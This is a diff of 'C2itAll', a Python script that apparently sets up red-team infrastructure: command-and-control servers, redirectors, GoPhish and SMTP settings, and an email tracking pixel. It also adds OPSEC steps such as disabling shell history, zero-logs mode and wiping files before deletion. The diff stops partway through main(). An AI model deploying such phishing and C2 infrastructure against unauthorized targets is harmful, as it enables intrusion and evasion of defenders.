- # Test redirector first
- redirector_ip = config.get('redirector_ip')
- if redirector_ip:
- print(f"[+] Testing redirector at {redirector_ip}...")
- try:
- # Try to ping the redirector
- ping_cmd = ["ping", "-c", "3", redirector_ip]
- subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- print(f"[+] Redirector ping test successful")
-
- # Test SSH connection
- test_ssh(redirector_ip, config.get('redirector_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22))
-
- # Test HTTP(S) connectivity if deployed with a domain
- if config.get('domain') != 'example.com':
- test_http(f"https://cdn.{config['domain']}")
- except subprocess.CalledProcessError as e:
- print(f"[-] Redirector connectivity test failed: {e}")
-
- # Then test C2
- c2_ip = config.get('c2_ip')
- if c2_ip:
- print(f"[+] Testing C2 server at {c2_ip}...")
- try:
- # Try to ping the C2 server
- ping_cmd = ["ping", "-c", "3", c2_ip]
- subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- print(f"[+] C2 server ping test successful")
-
- # Test SSH connection
- test_ssh(c2_ip, config.get('c2_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22))
-
- # Test HTTP(S) connectivity if deployed with a domain
- if config.get('domain') != 'example.com':
- test_http(f"https://mail.{config['domain']}")
- except subprocess.CalledProcessError as e:
- print(f"[-] C2 server connectivity test failed: {e}")
-
- # Test only redirector if that's all that was deployed
- elif config.get('redirector_only'):
- redirector_ip = config.get('redirector_ip')
- if redirector_ip:
- print(f"[+] Testing redirector at {redirector_ip}...")
- try:
- # Try to ping the redirector
- ping_cmd = ["ping", "-c", "3", redirector_ip]
- subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- print(f"[+] Redirector ping test successful")
-
- # Test SSH connection
- test_ssh(redirector_ip, config.get('redirector_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22))
-
- # Test HTTP(S) connectivity if deployed with a domain
- if config.get('domain') != 'example.com':
- test_http(f"https://cdn.{config['domain']}")
- except subprocess.CalledProcessError as e:
- print(f"[-] Redirector connectivity test failed: {e}")
-
- # Test only C2 if that's all that was deployed
- elif config.get('c2_only'):
- c2_ip = config.get('c2_ip')
- if c2_ip:
- print(f"[+] Testing C2 server at {c2_ip}...")
- try:
- # Try to ping the C2 server
- ping_cmd = ["ping", "-c", "3", c2_ip]
- subprocess.run(ping_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- print(f"[+] C2 server ping test successful")
-
- # Test SSH connection
- test_ssh(c2_ip, config.get('c2_key_path'), config.get('ssh_user', 'root'), config.get('ssh_port', 22))
-
- # Test HTTP(S) connectivity if deployed with a domain
- if config.get('domain') != 'example.com':
- test_http(f"https://mail.{config['domain']}")
- except subprocess.CalledProcessError as e:
- print(f"[-] C2 server connectivity test failed: {e}")
-
- print("[+] Tests completed")
- return True
-
-def test_ssh(ip, key_path, user, port):
- """Test SSH connectivity to a server"""
- print(f"[+] Testing SSH connectivity to {ip}...")
- try:
- # Use the paramiko library for a programmatic SSH connection test
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
-
- # Connect with timeout
- client.connect(ip, port=port, username=user, key_filename=key_path, timeout=10)
-
- # Run a simple command to check if the connection works
- stdin, stdout, stderr = client.exec_command("echo SSH test successful")
- response = stdout.read().decode().strip()
-
- # Close the connection
- client.close()
-
- print(f"[+] SSH test result: {response}")
- return True
- except Exception as e:
- print(f"[-] SSH connectivity test failed: {e}")
- return False
-
-def test_http(url):
- """Test HTTP(S) connectivity to a URL"""
- print(f"[+] Testing HTTP(S) connectivity to {url}...")
- try:
- # Use requests library with a timeout
- response = subprocess.run(["curl", "-s", "-k", "-L", "--connect-timeout", "10", url], check=True, stdout=subprocess.PIPE)
-
- # Check if we got a response
- if response.stdout:
- print(f"[+] HTTP(S) test successful")
- return True
- else:
- print(f"[-] HTTP(S) test returned empty response")
- return False
- except subprocess.CalledProcessError as e:
- print(f"[-] HTTP(S) connectivity test failed: {e}")
- return False
-
-def deploy_with_error_handling(provider_func, config):
- """Deploy with better error handling and logs"""
- logs_created = []
- deployed_resources = []
-
- try:
- result, logs, resources = provider_func(config)
- logs_created.extend(logs)
- deployed_resources.extend(resources)
- return result, logs_created, deployed_resources
- except subprocess.CalledProcessError as e:
- # Log detailed error information
- error_log = log_debug_info(e.cmd, e)
- if error_log:
- logs_created.append(error_log)
- print(f"[-] Deployment failed: {e}. See {error_log} for detailed debug information.")
- return False, logs_created, deployed_resources
- except Exception as e:
- error_log = log_debug_info("Unknown command", e)
- if error_log:
- logs_created.append(error_log)
- print(f"[-] Unexpected error during deployment: {e}. See {error_log} for details.")
- return False, logs_created, deployed_resources
-
-def deploy_tracker_module(config):
- """Deploy tracker module alongside the C2 infrastructure"""
- if not config.get('deploy_tracker'):
- return True
-
- print("[+] Deploying tracker module...")
-
- # Make sure the module exists
- tracker_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "modules/tracker")
- if not os.path.exists(tracker_dir):
- print(f"[-] Error: Tracker module directory not found at {tracker_dir}")
- print("[-] Make sure the tracker module is installed in the modules/tracker directory")
- return False
-
- # Prepare tracker deploy command
- tracker_script = os.path.join(tracker_dir, "Tools/deploy_tracker.py")
- if not os.path.exists(tracker_script):
- print(f"[-] Error: Tracker deployment script not found at {tracker_script}")
- return False
-
- # Build command arguments
- tracker_cmd = [
- "python3", tracker_script,
- "--quick-deploy" # Use quick deployment mode
- ]
-
- # Add domain if specified
- if config.get('tracker_domain'):
- tracker_cmd.extend(["--domain", config['tracker_domain']])
- else:
- tracker_cmd.append("--ip-only")
-
- # Add email if specified
- if config.get('tracker_email'):
- tracker_cmd.extend(["--email", config['tracker_email']])
-
- # Add tracker name if specified
- if config.get('tracker_name'):
- tracker_cmd.extend(["--engagement-name", config['tracker_name']])
-
- # Add IPinfo token if specified
- if config.get('tracker_ipinfo_token'):
- tracker_cmd.extend(["--ipinfo-token", config['tracker_ipinfo_token']])
-
- # Add SSL setup if requested
- if config.get('tracker_setup_ssl'):
- tracker_cmd.append("--setup-ssl")
-
- # Add tracking pixel creation if requested
- if config.get('tracker_create_pixel'):
- tracker_cmd.append("--create-pixel")
-
- # Run the tracker deployment command
- try:
- print(f"[+] Running tracker deployment: {' '.join(tracker_cmd)}")
- subprocess.run(tracker_cmd, check=True)
- print("[+] Tracker module deployed successfully")
- return True
- except subprocess.CalledProcessError as e:
- print(f"[-] Error deploying tracker module: {e}")
- return False
-
-def interactive_config():
- """Interactively collect configuration"""
- config = {}
-
- # Initialize deployment mode flags
- config['redirector_only'] = False
- config['c2_only'] = False
-
- # Select provider
- print("\n=== Provider Selection ===")
- print("Available providers:")
- for i, provider in enumerate(PROVIDERS):
- print(f" {i+1}. {provider}")
-
- while True:
- try:
- choice = int(input("\nSelect provider (1-3): ")) - 1
- if 0 <= choice < len(PROVIDERS):
- config['provider'] = PROVIDERS[choice]
- break
- else:
- print("Invalid choice. Please enter a number between 1 and 3.")
- except ValueError:
- print("Invalid input. Please enter a number.")
-
- # Provider-specific configuration
- if config['provider'] == 'aws':
- print("\n=== AWS Configuration ===")
-
- # Try to load defaults from vars.yaml
- aws_vars = load_vars_file('AWS')
- default_key = aws_vars.get('aws_access_key', '')
- default_secret = aws_vars.get('aws_secret_key', '')
-
- config['aws_key'] = input(f"AWS Access Key [{default_key[:4]}{'*'*(len(default_key)-4) if default_key else ''}]: ") or default_key
- config['aws_secret'] = input(f"AWS Secret Key [{default_secret[:4]}{'*'*(len(default_secret)-4) if default_secret else ''}]: ") or default_secret
-
- # Region choices
- region_choices = aws_vars.get('aws_region_choices', [DEFAULT_REGION['aws']])
- print("\nAvailable AWS regions:")
- for i, region in enumerate(region_choices):
- print(f" {i+1}. {region}")
-
- use_random = input("\nUse random region? (Y/n): ").lower() != 'n'
- if use_random:
- config['aws_region'] = None # Will be randomized later
- else:
- while True:
- try:
- region_choice = int(input(f"Select region (1-{len(region_choices)}): ")) - 1
- if 0 <= region_choice < len(region_choices):
- config['aws_region'] = region_choices[region_choice]
- break
- except ValueError:
- pass
- print(f"Invalid choice. Please enter a number between 1 and {len(region_choices)}.")
-
- # Ask for architecture type
- print("\nDeployment architecture:")
- print(" 1. Combined (single server for both redirector and C2)")
- print(" 2. Split (separate servers for redirector and C2)")
- arch_choice = input("\nSelect architecture (1-2, default: 2): ") or "2"
- if arch_choice == "1":
- config['redirector_only'] = False
- config['c2_only'] = False
- else:
- # For split architecture, ask which components to deploy
- comp_choice = input("\nDeploy (1: Both components, 2: Redirector only, 3: C2 only, default: 1): ") or "1"
- if comp_choice == "2":
- config['redirector_only'] = True
- config['c2_only'] = False
- elif comp_choice == "3":
- config['redirector_only'] = False
- config['c2_only'] = True
- else:
- config['redirector_only'] = False
- config['c2_only'] = False
-
- elif config['provider'] == 'linode':
- print("\n=== Linode Configuration ===")
-
- # Try to load defaults from vars.yaml
- linode_vars = load_vars_file('Linode')
- default_token = linode_vars.get('linode_token', '')
-
- config['linode_token'] = input(f"Linode API Token [{default_token[:4]}{'*'*(len(default_token)-4) if default_token else ''}]: ") or default_token
-
- # Region choices
- region_choices = linode_vars.get('region_choices', [DEFAULT_REGION['linode']])
- print("\nAvailable Linode regions:")
- for i, region in enumerate(region_choices):
- print(f" {i+1}. {region}")
-
- use_random = input("\nUse random region? (Y/n): ").lower() != 'n'
- if use_random:
- config['linode_region'] = None # Will be randomized later
- else:
- while True:
- try:
- region_choice = int(input(f"Select region (1-{len(region_choices)}): ")) - 1
- if 0 <= region_choice < len(region_choices):
- config['linode_region'] = region_choices[region_choice]
- break
- except ValueError:
- pass
- print(f"Invalid choice. Please enter a number between 1 and {len(region_choices)}.")
-
- # Ask for architecture type
- print("\nDeployment architecture:")
- print(" 1. Combined (single server for both redirector and C2)")
- print(" 2. Split (separate servers for redirector and C2)")
- arch_choice = input("\nSelect architecture (1-2, default: 2): ") or "2"
- if arch_choice == "1":
- config['redirector_only'] = False
- config['c2_only'] = False
- else:
- # For split architecture, ask which components to deploy
- comp_choice = input("\nDeploy (1: Both components, 2: Redirector only, 3: C2 only, default: 1): ") or "1"
- if comp_choice == "2":
- config['redirector_only'] = True
- config['c2_only'] = False
- elif comp_choice == "3":
- config['redirector_only'] = False
- config['c2_only'] = True
- else:
- config['redirector_only'] = False
- config['c2_only'] = False
-
- elif config['provider'] == 'flokinet':
- print("\n=== FlokiNET Configuration ===")
- print("Note: FlokiNET requires manual server setup due to their privacy focus")
-
- # Try to load defaults from vars.yaml
- flokinet_vars = load_vars_file('FlokiNET')
-
- # Deployment mode
- print("\nDeployment mode:")
- print(" 1. Full deployment (redirector and C2)")
- print(" 2. Redirector only")
- print(" 3. C2 server only")
-
- while True:
- try:
- mode = int(input("\nSelect deployment mode (1-3): "))
- if 1 <= mode <= 3:
- break
- else:
- print("Invalid choice. Please enter a number between 1 and 3.")
- except ValueError:
- print("Invalid input. Please enter a number.")
-
- # Set deployment flags
- if mode == 2:
- config['redirector_only'] = True
- config['c2_only'] = False
- config['flokinet_redirector_ip'] = input("FlokiNET Redirector IP: ")
- elif mode == 3:
- config['redirector_only'] = False
- config['c2_only'] = True
- config['flokinet_c2_ip'] = input("FlokiNET C2 Server IP: ")
-
- # Need redirector IP for configuration
- config['flokinet_redirector_ip'] = input("Existing Redirector IP (for configuration): ")
- else:
- config['redirector_only'] = False
- config['c2_only'] = False
- config['flokinet_redirector_ip'] = input("FlokiNET Redirector IP: ")
- config['flokinet_c2_ip'] = input("FlokiNET C2 Server IP: ")
-
- # General configuration
- print("\n=== General Configuration ===")
-
- # SSH key and user
- default_ssh_user = config.get('ssh_user', 'root')
- config['ssh_user'] = input(f"SSH Username (default: {default_ssh_user}): ") or default_ssh_user
-
- default_ssh_key = '~/.ssh/id_rsa'
- if config['provider'] == 'aws':
- ssh_key = input(f"Path to SSH private key (leave empty to generate): ")
- else:
- ssh_key = input(f"Path to SSH private key (default: {default_ssh_key}): ") or default_ssh_key
-
- if not ssh_key and config['provider'] == 'aws':
- ssh_key = generate_ssh_key()
- config['ssh_key'] = ssh_key
-
- # Domain configuration
- default_domain = 'example.com'
- config['domain'] = input(f"Domain name for infrastructure (default: {default_domain}): ") or default_domain
-
- if config['domain'] != default_domain:
- default_email = f"admin@{config['domain']}"
- config['letsencrypt_email'] = input(f"Email for Let's Encrypt certificate (default: {default_email}): ") or default_email
- else:
- config['letsencrypt_email'] = 'admin@example.com'
-
- # OPSEC settings
- print("\n=== OPSEC Configuration ===")
- disable_history = input("Disable command history? (Y/n): ").lower() or "y"
- config['disable_history'] = disable_history.startswith('y')
-
- secure_memory = input("Enable secure memory settings? (Y/n): ").lower() or "y"
- config['secure_memory'] = secure_memory.startswith('y')
-
- zero_logs = input("Enable zero-logs configuration? (Y/n): ").lower() or "y"
- config['zero_logs'] = zero_logs.startswith('y')
-
- # Post-deployment options
- print("\n=== Post-Deployment Options ===")
- ssh_after_deploy = input("SSH into instance after deployment? (y/N): ").lower()
- config['ssh_after_deploy'] = ssh_after_deploy.startswith('y')
-
- run_tests = input("Run connectivity tests after deployment? (y/N): ").lower()
- config['run_tests'] = run_tests.startswith('y')
-
- # Tracker module deployment
- print("\n=== Tracker Module ===")
- deploy_tracker = input("Deploy tracker module alongside C2 infrastructure? (y/N): ").lower()
- config['deploy_tracker'] = deploy_tracker.startswith('y')
-
- if config['deploy_tracker']:
- # Additional tracker configuration
- print("\n=== Tracker Configuration ===")
- config['tracker_domain'] = input("Domain for tracker (leave empty to use server IP): ")
-
- if config['tracker_domain']:
- config['tracker_email'] = input(f"Email for tracker Let's Encrypt certificate: ") or config['letsencrypt_email']
-
- setup_ssl = input("Set up SSL for tracker? (Y/n): ").lower() or "y"
- config['tracker_setup_ssl'] = setup_ssl.startswith('y')
-
- config['tracker_name'] = input("Tracker engagement name (leave empty for random): ")
- config['tracker_ipinfo_token'] = input("IPinfo API token for geolocation (optional): ")
-
- create_pixel = input("Create email tracking pixel? (Y/n): ").lower() or "y"
- config['tracker_create_pixel'] = create_pixel.startswith('y')
-
- return config
-
-def cleanup_sensitive_files(config):
- """Clean up sensitive files after deployment for better OPSEC"""
- print("\n[+] Starting cleanup of sensitive files...")
-
- # Files to potentially clean up (prompt user first)
- sensitive_files = []
-
- # Add config file
- if os.path.exists('config.yml'):
- sensitive_files.append('config.yml')
- print(f"[+] Found sensitive file: config.yml")
-
- # Add log files - be more specific about deployment logs
- log_patterns = ['deployment_*.log', 'deployment_*_linode.log', 'deployment_*_aws.log']
- log_count = 0
-
- # Search in current directory
- for pattern in log_patterns:
- for f in glob.glob(pattern):
- sensitive_files.append(f)
- print(f"[+] Found sensitive log file: {f}")
- log_count += 1
-
- # Also check the logs directory if it exists
- log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs")
- if os.path.exists(log_dir):
- for pattern in log_patterns:
- for f in glob.glob(os.path.join(log_dir, pattern)):
- sensitive_files.append(f)
- print(f"[+] Found sensitive log file in logs directory: {f}")
- log_count += 1
-
- print(f"[+] Found {log_count} deployment log files")
-
- # Add inventory files
- inventory_count = 0
- for f in glob.glob('inventory_*.yml'):
- sensitive_files.append(f)
- print(f"[+] Found sensitive inventory file: {f}")
- inventory_count += 1
-
- print(f"[+] Found {inventory_count} inventory files")
-
- # If there are sensitive files and user wants to clean up
- if sensitive_files:
- print("\n[!] The following sensitive files remain from deployment:")
- for f in sensitive_files:
- print(f" - {f}")
-
- cleanup = input("\n[?] Would you like to securely delete these files? (y/N): ").lower()
- if cleanup.startswith('y'):
- for f in sensitive_files:
- try:
- print(f"[+] Securely deleting: {f}")
- # Secure overwrite then delete
- with open(f, 'wb') as file:
- # Overwrite with random data 3 times
- for i in range(3):
- file_size = os.path.getsize(f)
- file.write(os.urandom(file_size))
- file.flush()
- os.fsync(file.fileno())
- print(f"[+] Completed overwrite pass {i+1}/3")
-
- # Finally remove
- os.remove(f)
- print(f"[+] Successfully deleted: {f}")
- except Exception as e:
- print(f"[!] Error deleting {f}: {e}")
- else:
- print("[+] No sensitive files found to clean up")
-
- # Remind about SSH keys
- if config.get('ssh_key') and os.path.exists(os.path.expanduser(config['ssh_key'])):
- ssh_key = os.path.expanduser(config['ssh_key'])
- print(f"\n[!] Remember to secure or remove your SSH key after use: {ssh_key}")
- secure_key = input("[?] Would you like to secure this SSH key now? (y/N): ").lower()
- if secure_key.startswith('y'):
- try:
- # Rename the SSH key with random suffix
- key_dir = os.path.dirname(ssh_key)
- key_base = os.path.basename(ssh_key)
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
- new_key_path = os.path.join(key_dir, f"{key_base}.{timestamp}.bak")
-
- print(f"[+] Renaming SSH key to: {new_key_path}")
-
- # Move the key and public key
- shutil.move(ssh_key, new_key_path)
- if os.path.exists(f"{ssh_key}.pub"):
- shutil.move(f"{ssh_key}.pub", f"{new_key_path}.pub")
- print(f"[+] Also renamed public key")
-
- # Set permissions
- os.chmod(new_key_path, 0o400) # Read-only by owner
- if os.path.exists(f"{new_key_path}.pub"):
- os.chmod(f"{new_key_path}.pub", 0o400)
-
- print(f"[+] SSH key secured and renamed to: {new_key_path}")
- print(f"[+] This key is now read-only (mode 0400)")
- except Exception as e:
- print(f"[!] Error securing SSH key: {e}")
-
- return True
-
-def save_config(config):
- """Save configuration to config.yml file and create detailed deployment log"""
- # Make a copy to avoid modifying the original
- config_to_save = config.copy()
-
- # Remove ALL sensitive data before saving
- sensitive_keys = [
- 'aws_key', 'aws_secret', 'linode_token',
- 'smtp_auth_pass', 'ssh_key_content',
- 'flokinet_redirector_ip', 'flokinet_c2_ip',
- 'c2_ip', 'redirector_ip'
- ]
-
- for key in sensitive_keys:
- if key in config_to_save:
- # Replace with asterisks, preserving first 2 chars for reference
- value = config_to_save[key]
- if isinstance(value, str) and len(value) > 4:
- config_to_save[key] = f"{value[:2]}{'*' * (len(value) - 2)}"
- else:
- config_to_save[key] = '***'
-
- # Use a more secure way to write sensitive files
- # Ensure the file doesn't exist first to prevent race conditions
- if os.path.exists('config.yml'):
- # Instead of removing, just open in write mode to overwrite
- pass
-
- # Create with restricted permissions
- with open('config.yml', 'w') as f:
- os.chmod('config.yml', 0o600) # Readable only by owner
- yaml.dump(config_to_save, f, default_flow_style=False)
-
- print(f"[+] Configuration saved to config.yml (mode 0600)")
-
- # Create deployment log with timestamp but with minimal sensitive info
- log_file = f"deployment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"
-
- # Create with restricted permissions
- with open(log_file, 'w') as f:
- os.chmod(log_file, 0o600) # Readable only by owner
-
- f.write(f"# C2itAll Deployment Log\n")
- f.write(f"# Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
-
- # Log general info
- f.write(f"Provider: {config['provider']}\n")
-
- # Log SSH key information
- f.write(f"SSH Key: {config.get('ssh_key', 'Not specified')}\n")
- if 'ssh_key_name' in config:
- f.write(f"SSH Key Name: {config['ssh_key_name']}\n")
-
- # Log custom SSH port if used
- if config.get('ssh_port') and config.get('ssh_port') != 22:
- f.write(f"SSH Port: {config['ssh_port']}\n")
-
- # Log provider-specific info without exposing sensitive details
- if config['provider'] == 'aws':
- f.write(f"AWS Region: {config.get('aws_region', 'random')}\n")
- f.write(f"Instance Type: {config.get('size', 'default')}\n")
- f.write(f"Redirector Name: {config.get('redirector_name', 'Not specified')}\n")
- f.write(f"C2 Name: {config.get('c2_name', 'Not specified')}\n")
- elif config['provider'] == 'linode':
- f.write(f"Linode Region: {config.get('linode_region', 'random')}\n")
- f.write(f"Plan: {config.get('plan', 'default')}\n")
- f.write(f"Redirector Name: {config.get('redirector_name', 'Not specified')}\n")
- f.write(f"C2 Name: {config.get('c2_name', 'Not specified')}\n")
- elif config['provider'] == 'flokinet':
- # IPs are sensitive for FlokiNET, only log region
- f.write(f"FlokiNET Region: {config.get('region', 'anonymous')}\n")
- # Note that we're not logging IPs directly
-
- # Log domain info if provided
- if config.get('domain'):
- f.write(f"Domain: {config['domain']}\n")
- if not config.get('c2_only'):
- f.write(f"Redirector Domain: cdn.{config['domain']}\n")
- if not config.get('redirector_only'):
- f.write(f"C2 Domain: mail.{config['domain']}\n")
-
- # Log gophish admin port
- if config.get('gophish_admin_port'):
- f.write(f"GoPhish Admin Port: {config['gophish_admin_port']}\n")
-
- # Log SMTP auth user
- if config.get('smtp_auth_user'):
- f.write(f"SMTP Auth User: {config['smtp_auth_user']}\n")
-
- # Log OPSEC settings
- f.write(f"\nOPSEC Settings:\n")
- f.write(f"- Zero-logs: {'Enabled' if config.get('zero_logs') else 'Disabled'}\n")
- f.write(f"- Secure memory: {'Enabled' if config.get('secure_memory') else 'Disabled'}\n")
- f.write(f"- History disabled: {'Yes' if config.get('disable_history') else 'No'}\n")
- f.write(f"- Non-standard SSH port: {config.get('ssh_port', 'Default')}\n")
-
- # Log tracker module info if deployed
- if config.get('deploy_tracker'):
- f.write(f"\nTracker Module:\n")
- f.write(f"- Tracker Domain: {config.get('tracker_domain', 'IP-based')}\n")
- f.write(f"- Engagement Name: {config.get('tracker_name', 'Auto-generated')}\n")
- f.write(f"- Email Pixel: {'Enabled' if config.get('tracker_create_pixel') else 'Disabled'}\n")
-
- print(f"[+] Deployment log saved to {log_file} (mode 0600)")
-
-def show_deployment_summary(config):
- """Display a summary of the deployed infrastructure"""
- print("\n" + "="*60)
- print(" C2itAll Deployment Summary")
- print("="*60)
-
- # Show provider
- print(f"Provider: {config['provider']}")
-
- # Show infrastructure components
- if config.get('c2_only'):
- print("\nC2 Server:")
- print(f" Name: {config.get('c2_name', 'c2')}")
- print(f" IP: {config.get('c2_ip', 'Not available')}")
- if config.get('domain') != 'example.com':
- print(f" Domain: mail.{config['domain']}")
-
- elif config.get('redirector_only'):
- print("\nRedirector:")
- print(f" Name: {config.get('redirector_name', 'redirector')}")
- print(f" IP: {config.get('redirector_ip', 'Not available')}")
- if config.get('domain') != 'example.com':
- print(f" Domain: cdn.{config['domain']}")
-
- else:
- print("\nFull Infrastructure:")
- print("\n- Redirector:")
- print(f" Name: {config.get('redirector_name', 'redirector')}")
- print(f" IP: {config.get('redirector_ip', 'Not available')}")
- if config.get('domain') != 'example.com':
- print(f" Domain: cdn.{config['domain']}")
-
- print("\n- C2 Server:")
- print(f" Name: {config.get('c2_name', 'c2')}")
- print(f" IP: {config.get('c2_ip', 'Not available')}")
- if config.get('domain') != 'example.com':
- print(f" Domain: mail.{config['domain']}")
-
- # Show SSH connection details
- print("\nSSH Access:")
- user = config.get('ssh_user', 'root')
-
- if config.get('redirector_ip') and not config.get('c2_only'):
- redirector_key = config.get('redirector_key_path', config.get('ssh_key', 'No key available'))
- port = config.get('ssh_port', 22)
- print(f" Redirector: ssh -i {redirector_key}{' -p ' + str(port) if port != 22 else ''} {user}@{config.get('redirector_ip')}")
-
- if config.get('c2_ip') and not config.get('redirector_only'):
- c2_key = config.get('c2_key_path', config.get('ssh_key', 'No key available'))
- port = config.get('ssh_port', 22)
- print(f" C2 Server: ssh -i {c2_key}{' -p ' + str(port) if port != 22 else ''} {user}@{config.get('c2_ip')}")
-
- # Show domain configuration if used
- if config.get('domain') != 'example.com':
- print("\nDomain Configuration:")
- print(f" Domain: {config['domain']}")
- print(" Required DNS Records:")
- if not config.get('c2_only'):
- print(f" cdn.{config['domain']} -> {config.get('redirector_ip', 'IP_NOT_AVAILABLE')}")
- if not config.get('redirector_only'):
- print(f" mail.{config['domain']} -> {config.get('c2_ip', 'IP_NOT_AVAILABLE')}")
-
- # Show tracker details if deployed
- if config.get('deploy_tracker'):
- print("\nTracker Module:")
- print(f" Engagement: {config.get('tracker_name', 'Auto-generated')}")
- if config.get('tracker_domain'):
- print(f" Domain: {config['tracker_domain']}")
- print(f" DNS Record: {config['tracker_domain']} -> {config.get('redirector_ip', config.get('c2_ip', 'IP_NOT_AVAILABLE'))}")
- else:
- print(f" Access: http://{config.get('redirector_ip', config.get('c2_ip', 'IP_NOT_AVAILABLE'))}")
-
- if config.get('tracker_create_pixel'):
- print(" Email Tracking: Enabled")
- hostname = config.get('tracker_domain') or config.get('redirector_ip', config.get('c2_ip', 'IP_NOT_AVAILABLE'))
- protocol = "https" if config.get('tracker_setup_ssl') else "http"
- print(f" Tracking Pixel:
")
-
- print("\nFor more details, see deployment log file.")
- print("="*60)
-
-def log_debug_info(command, error, log_file=None):
- """Log detailed debug information when a deployment fails"""
- timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
-
- # If no log file is specified, create one
- if not log_file:
- log_file = f"deployment_error_{int(time.time())}.log"
-
- with open(log_file, 'a') as f:
- f.write(f"==== ERROR LOG: {timestamp} ====\n")
- f.write(f"COMMAND: {command}\n")
- f.write(f"ERROR: {str(error)}\n\n")
-
- # Try to get additional error information from ansible logs
- try:
- # Look for ansible log files
- ansible_logs = [file for file in os.listdir('/tmp') if 'ansible-' in file and '.log' in file]
- if ansible_logs:
- f.write("ANSIBLE LOGS:\n")
- # Get the most recent ansible log
- latest_log = sorted(ansible_logs, key=lambda x: os.path.getmtime(os.path.join('/tmp', x)))[-1]
- with open(os.path.join('/tmp', latest_log), 'r') as log:
- f.write(log.read())
- except Exception as e:
- f.write(f"Failed to retrieve ansible logs: {e}\n")
-
- f.write("==== END ERROR LOG ====\n\n")
-
- print(f"[+] Debug information logged to {log_file}")
- return log_file
+ logging.error(f"Failed to remove SSH key: {e}")
def main():
- """Main function"""
- print("========================================")
- print("C2itAll - Red Team Infrastructure Setup")
- print("========================================")
+ """Main function to run the deployment"""
+ # Set up logging
+ log_file = setup_logging()
- # Set up error logging
- error_log_file = setup_error_logging()
+ # Parse command line arguments
+ args = parse_arguments()
- # Track deployed resources for cleanup on interruption
- deployed_instances = []
- generated_ssh_keys = []
+ # Override provider if --flokinet is specified
+ if args.flokinet:
+ args.provider = "flokinet"
+ # Load variables from provider-specific vars.yaml
+ vars_data = load_vars_file(args.provider)
+
+ # Build configuration by combining args and vars_data
+ config = {}
+
+ # Provider settings
+ config['provider'] = args.provider
+
+ # AWS settings
+ if args.provider == "aws":
+ config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key')
+ config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key')
+ config['aws_region'] = args.aws_region or args.region
+ config['aws_region_choices'] = vars_data.get('aws_region_choices', [])
+ config['ami_map'] = vars_data.get('ami_map', {})
+
+ # Linode settings
+ elif args.provider == "linode":
+ config['linode_token'] = args.linode_token or vars_data.get('linode_token')
+ config['linode_region'] = args.linode_region or args.region
+ config['region_choices'] = vars_data.get('region_choices', [])
+ config['plan'] = vars_data.get('plan', 'g6-standard-1')
+ config['image'] = vars_data.get('image', 'linode/debian11')
+
+ # FlokiNET settings
+ elif args.provider == "flokinet":
+ config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip')
+ config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip')
+ config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [])
+ config['ssh_port'] = vars_data.get('ssh_port', 22)
+
+ # SSH settings
+ config['ssh_user'] = args.ssh_user or DEFAULT_SSH_USER.get(args.provider)
+ if args.ssh_key:
+ config['ssh_key'] = os.path.expanduser(args.ssh_key)
+ else:
+ config['ssh_key'] = generate_ssh_key()
+
+ # Generate random instance names
+ rand_suffix = generate_random_string()
+ timestamp = int(time.time()) % 10000
+ config['redirector_name'] = args.redirector_name or f"srv-{rand_suffix}-{timestamp}"
+ config['c2_name'] = args.c2_name or f"node-{rand_suffix}-{timestamp}"
+
+ # Deployment options
+ config['redirector_only'] = args.redirector_only
+ config['c2_only'] = args.c2_only
+ config['debug'] = args.debug
+ config['domain'] = args.domain or vars_data.get('domain', 'example.com')
+ config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}")
+
+ # OPSEC settings
+ config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True)
+ config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True)
+ config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True)
+
+ # Other settings from vars_data
+ config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000)))
+ config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}")
+ config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits, k=20)))
+
+ # Validate deployment mode
+ if config['redirector_only'] and config['c2_only']:
+ logging.error("Cannot specify both --redirector-only and --c2-only")
+ return
+
+ # Log configuration (excluding sensitive data)
+ logging.info("Deployment configuration:")
+ for key, value in config.items():
+ if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass']:
+ if isinstance(value, (dict, list)):
+ logging.info(f" {key}: ")
+ else:
+ logging.info(f" {key}: {value}")
+
+ # Run deployment
try:
- args = setup_argparse()
+ success = deploy_infrastructure(config)
- # Interactive mode if no arguments provided
- if len(sys.argv) == 1:
- config = interactive_config()
- else:
- config = load_config(args)
-
- # Normalize provider name to proper capitalization
- config['provider'] = normalize_provider_name(config['provider'])
-
- # Validate configuration
- if not validate_config(config):
- return
-
- # Select region
- select_region(config)
-
- # Ensure provider files exist
- if not ensure_provider_files_exist(config):
- proceed = input("\n[?] Continue despite missing files? (y/N): ").lower()
- if not proceed.startswith('y'):
- print("[-] Deployment aborted.")
- return
-
- # Save configuration
- save_config(config)
-
- # Keep track of any generated SSH keys
- if config.get('ssh_key') and config['ssh_key'].startswith(os.path.expanduser("~/.ssh/c2itall_")):
- generated_ssh_keys.append(config['ssh_key'])
-
